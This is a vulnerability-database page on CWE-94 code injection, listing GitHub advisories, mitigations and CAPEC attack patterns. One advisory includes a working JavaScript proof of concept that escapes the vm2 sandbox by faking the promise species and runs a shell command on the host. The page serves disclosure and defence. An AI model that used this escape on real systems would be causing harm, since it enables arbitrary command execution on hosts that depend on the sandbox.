CWE-94
Allowed-with-ReviewImproper Control of Generation of Code ('Code Injection')
Abstraction: Base · Status: Draft
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
8340 vulnerabilities reference this CWE, most recent first.
GHSA-QV38-PJ4Q-67HH
Vulnerability from github – Published: 2022-05-24 19:02 – Updated: 2022-05-28 00:00In JetBrains PyCharm before 2020.3.4, local code execution was possible because of insufficient checks when getting the project from VCS.
{
"affected": [],
"aliases": [
"CVE-2021-30005"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-05-11T12:15:00Z",
"severity": "HIGH"
},
"details": "In JetBrains PyCharm before 2020.3.4, local code execution was possible because of insufficient checks when getting the project from VCS.",
"id": "GHSA-qv38-pj4q-67hh",
"modified": "2022-05-28T00:00:22Z",
"published": "2022-05-24T19:02:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-30005"
},
{
"type": "WEB",
"url": "https://blog.jetbrains.com"
},
{
"type": "WEB",
"url": "https://blog.jetbrains.com/blog/2021/05/07/jetbrains-security-bulletin-q1-2021"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202107-45"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QV4P-VPH4-F9FC
Vulnerability from github – Published: 2024-10-28 06:32 – Updated: 2024-10-28 06:32The All-in-One WP Migration and Backup plugin for WordPress is vulnerable to arbitrary PHP Code Injection due to missing file type validation during the export in all versions up to, and including, 7.86. This makes it possible for authenticated attackers, with Administrator-level access and above, to create an export file with the .php extension on the affected site's server, adding an arbitrary PHP code to it, which may make remote code execution possible.
{
"affected": [],
"aliases": [
"CVE-2024-9162"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-28T06:15:04Z",
"severity": "HIGH"
},
"details": "The All-in-One WP Migration and Backup plugin for WordPress is vulnerable to arbitrary PHP Code Injection due to missing file type validation during the export in all versions up to, and including, 7.86. This makes it possible for authenticated attackers, with Administrator-level access and above, to create an export file with the .php extension on the affected site\u0027s server, adding an arbitrary PHP code to it, which may make remote code execution possible.",
"id": "GHSA-qv4p-vph4-f9fc",
"modified": "2024-10-28T06:32:33Z",
"published": "2024-10-28T06:32:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-9162"
},
{
"type": "WEB",
"url": "https://github.com/d0n601/CVE-2024-9162"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/all-in-one-wp-migration/trunk/lib/controller/class-ai1wm-backups-controller.php#L60"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/all-in-one-wp-migration/trunk/lib/controller/class-ai1wm-export-controller.php#L36"
},
{
"type": "WEB",
"url": "https://ryankozak.com/posts/CVE-2024-9162"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d97c3379-56c9-4261-9a70-3119ec121a40?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QV68-4P93-J34P
Vulnerability from github – Published: 2022-05-17 05:32 – Updated: 2025-04-11 03:55The RV20 codec in RealNetworks RealPlayer 11.x, 14.x, and 15.x before 15.02.71, and RealPlayer SP 1.0 through 1.1.5, does not properly handle the frame size array, which allows remote attackers to execute arbitrary code via a crafted RV20 RealVideo video stream.
{
"affected": [],
"aliases": [
"CVE-2012-0923"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2012-02-08T15:55:00Z",
"severity": "HIGH"
},
"details": "The RV20 codec in RealNetworks RealPlayer 11.x, 14.x, and 15.x before 15.02.71, and RealPlayer SP 1.0 through 1.1.5, does not properly handle the frame size array, which allows remote attackers to execute arbitrary code via a crafted RV20 RealVideo video stream.",
"id": "GHSA-qv68-4p93-j34p",
"modified": "2025-04-11T03:55:17Z",
"published": "2022-05-17T05:32:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2012-0923"
},
{
"type": "WEB",
"url": "http://osvdb.org/78912"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/47896"
},
{
"type": "WEB",
"url": "http://service.real.com/realplayer/security/02062012_player/en"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/51884"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-QV7F-27HR-46J7
Vulnerability from github – Published: 2022-05-14 01:31 – Updated: 2022-05-14 01:31The OpenType Font (OTF) driver in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista SP1 and SP2, Windows Server 2008 Gold, SP2, and R2, and Windows 7 does not properly perform array indexing, which allows local users to gain privileges via a crafted OpenType font, aka "OpenType Font Index Vulnerability."
{
"affected": [],
"aliases": [
"CVE-2010-3956"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-12-16T19:33:00Z",
"severity": "HIGH"
},
"details": "The OpenType Font (OTF) driver in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista SP1 and SP2, Windows Server 2008 Gold, SP2, and R2, and Windows 7 does not properly perform array indexing, which allows local users to gain privileges via a crafted OpenType font, aka \"OpenType Font Index Vulnerability.\"",
"id": "GHSA-qv7f-27hr-46j7",
"modified": "2022-05-14T01:31:54Z",
"published": "2022-05-14T01:31:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-3956"
},
{
"type": "WEB",
"url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2010/ms10-091"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A12357"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id?1024873"
},
{
"type": "WEB",
"url": "http://www.us-cert.gov/cas/techalerts/TA10-348A.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-QV7Q-GQ5R-9GCX
Vulnerability from github – Published: 2022-05-17 05:20 – Updated: 2022-05-17 05:20Static code injection vulnerability in administration/install.php in YVS Image Gallery allows remote attackers to inject arbitrary PHP code into functions/db_connect.php via unspecified vectors. NOTE: this is only a vulnerability when the administrator does not follow recommendations in the product's installation documentation.
{
"affected": [],
"aliases": [
"CVE-2012-5304"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2012-10-06T22:55:00Z",
"severity": "HIGH"
},
"details": "Static code injection vulnerability in administration/install.php in YVS Image Gallery allows remote attackers to inject arbitrary PHP code into functions/db_connect.php via unspecified vectors. NOTE: this is only a vulnerability when the administrator does not follow recommendations in the product\u0027s installation documentation.",
"id": "GHSA-qv7q-gq5r-9gcx",
"modified": "2022-05-17T05:20:42Z",
"published": "2022-05-17T05:20:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2012-5304"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2012/02/27/27"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2012/03/19/12"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-QV88-C9VM-FW8P
Vulnerability from github – Published: 2022-05-02 03:46 – Updated: 2022-05-02 03:46Autodesk Softimage 7.x and Softimage XSI 6.x allow remote attackers to execute arbitrary JavaScript code via a scene package containing a Scene Table of Contents (aka .scntoc) file with a Script_Content element, as demonstrated by code that loads the WScript.Shell ActiveX control.
{
"affected": [],
"aliases": [
"CVE-2009-3576"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-11-24T17:30:00Z",
"severity": "HIGH"
},
"details": "Autodesk Softimage 7.x and Softimage XSI 6.x allow remote attackers to execute arbitrary JavaScript code via a scene package containing a Scene Table of Contents (aka .scntoc) file with a Script_Content element, as demonstrated by code that loads the WScript.Shell ActiveX control.",
"id": "GHSA-qv88-c9vm-fw8p",
"modified": "2022-05-02T03:46:25Z",
"published": "2022-05-02T03:46:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-3576"
},
{
"type": "WEB",
"url": "http://securitytracker.com/id?1023229"
},
{
"type": "WEB",
"url": "http://www.coresecurity.com/content/softimage-arbitrary-command-execution"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/508011/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/36637"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-QV8V-PHQ8-79H2
Vulnerability from github – Published: 2022-05-01 23:40 – Updated: 2022-05-01 23:40Multiple PHP remote file inclusion vulnerabilities in W-Agora 4.0 allow remote attackers to execute arbitrary PHP code via a URL in the bn_dir_default parameter to (1) add_user.php, (2) create_forum.php, (3) create_user.php, (4) delete_notes.php, (5) delete_user.php, (6) edit_forum.php, (7) mail_users.php, (8) moderate_notes.php, and (9) reorder_forums.php. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information.
{
"affected": [],
"aliases": [
"CVE-2008-1466"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-03-24T21:44:00Z",
"severity": "HIGH"
},
"details": "Multiple PHP remote file inclusion vulnerabilities in W-Agora 4.0 allow remote attackers to execute arbitrary PHP code via a URL in the bn_dir_default parameter to (1) add_user.php, (2) create_forum.php, (3) create_user.php, (4) delete_notes.php, (5) delete_user.php, (6) edit_forum.php, (7) mail_users.php, (8) moderate_notes.php, and (9) reorder_forums.php. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information.",
"id": "GHSA-qv8v-phq8-79h2",
"modified": "2022-05-01T23:40:24Z",
"published": "2022-05-01T23:40:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-1466"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/41352"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/28366"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-QV93-X452-QQQQ
Vulnerability from github – Published: 2022-05-24 19:03 – Updated: 2022-05-24 19:03There is an Improper Control of Generation of Code vulnerability in Huawei Smartphone. Successful exploitation of this vulnerability may cause denial of security services on a rooted device.
{
"affected": [],
"aliases": [
"CVE-2021-22336"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-06-03T17:15:00Z",
"severity": "HIGH"
},
"details": "There is an Improper Control of Generation of Code vulnerability in Huawei Smartphone. Successful exploitation of this vulnerability may cause denial of security services on a rooted device.",
"id": "GHSA-qv93-x452-qqqq",
"modified": "2022-05-24T19:03:56Z",
"published": "2022-05-24T19:03:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22336"
},
{
"type": "WEB",
"url": "https://consumer.huawei.com/en/support/bulletin/2021/4"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-QVHX-Q8VJ-H6R5
Vulnerability from github – Published: 2026-05-27 15:33 – Updated: 2026-05-28 18:30An issue in Dolibarr ERP/CRM v.22.0.0 through v.22.0.4 and v.24.0.0-alpha allows a remote attacker to execute arbitrary code via the htdocs/cron/class/cronjob.class.php, call_user_func_array() in function job type
{
"affected": [],
"aliases": [
"CVE-2026-37712"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-27T15:16:26Z",
"severity": "HIGH"
},
"details": "An issue in Dolibarr ERP/CRM v.22.0.0 through v.22.0.4 and v.24.0.0-alpha allows a remote attacker to execute arbitrary code via the htdocs/cron/class/cronjob.class.php, call_user_func_array() in function job type",
"id": "GHSA-qvhx-q8vj-h6r5",
"modified": "2026-05-28T18:30:26Z",
"published": "2026-05-27T15:33:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Dolibarr/dolibarr/security/advisories/GHSA-c2jp-w9cj-6cx4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-37712"
},
{
"type": "WEB",
"url": "https://bryamzxz.github.io/2026/05/25/dol_eval-five-years"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-QVJJ-29QF-HP7P
Vulnerability from github – Published: 2026-05-05 16:23 – Updated: 2026-05-05 16:23Summary
The fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-cchq-frgv-rjh5 is insufficient and can be circumvented allowing attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
Details
The fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-cchq-frgv-rjh5 introduced the function resetPromiseSpecies https://github.com/patriksimek/vm2/blob/4b009c2d4b1131c01810c1205e641d614c322a29/lib/setup-sandbox.js#L35C7-L39.
This function changes the species property of promise objects back to a known value. However, it uses the function [].includes and Object.defineProperty which can be overewritten to prevent the species from being changed.
PoC
The following code demonstrates this issue by aquiring the host process object and executing touch pwned.
const {VM} = require("vm2");
const vm = new VM();
vm.run(`
Object.defineProperty=()=>{};
async function fn() {
const e = new Error();
e.name = Symbol();
return e.stack;
}
p = fn();
p.constructor = {
[Symbol.species]: class FakePromise {
constructor(executor) {
executor(
(x) => x,
(err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch pwned'); }
)
}
}
};
p.then();
`);
Impact
Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.10.3"
},
"package": {
"ecosystem": "npm",
"name": "vm2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.10.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-24120"
],
"database_specific": {
"cwe_ids": [
"CWE-693",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T16:23:35Z",
"nvd_published_at": "2026-05-04T17:16:21Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\nThe fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-cchq-frgv-rjh5 is insufficient and can be circumvented allowing attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\n\n### Details\n\nThe fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-cchq-frgv-rjh5 introduced the function `resetPromiseSpecies` https://github.com/patriksimek/vm2/blob/4b009c2d4b1131c01810c1205e641d614c322a29/lib/setup-sandbox.js#L35C7-L39.\nThis function changes the `species` property of promise objects back to a known value. However, it uses the function `[].includes` and `Object.defineProperty` which can be overewritten to prevent the species from being changed.\n\n### PoC\n\nThe following code demonstrates this issue by aquiring the host process object and executing `touch pwned`.\n\n```js\nconst {VM} = require(\"vm2\");\nconst vm = new VM();\nvm.run(`\nObject.defineProperty=()=\u003e{};\nasync function fn() {\n const e = new Error();\n e.name = Symbol();\n return e.stack;\n}\np = fn();\np.constructor = {\n [Symbol.species]: class FakePromise {\n constructor(executor) {\n executor(\n (x) =\u003e x,\n (err) =\u003e { return err.constructor.constructor(\u0027return process\u0027)().mainModule.require(\u0027child_process\u0027).execSync(\u0027touch pwned\u0027); }\n )\n }\n }\n};\np.then();\n`);\n```\n\n### Impact\n\nAttackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.",
"id": "GHSA-qvjj-29qf-hp7p",
"modified": "2026-05-05T16:23:35Z",
"published": "2026-05-05T16:23:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-cchq-frgv-rjh5"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-qvjj-29qf-hp7p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24120"
},
{
"type": "PACKAGE",
"url": "https://github.com/patriksimek/vm2"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/releases/tag/v3.10.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "VM2 Has Sandbox Breakout Through Promise Species"
}
Mitigation
Strategy: Refactoring
Refactor your program so that you do not have to dynamically generate code.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-242: Code Injection
An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.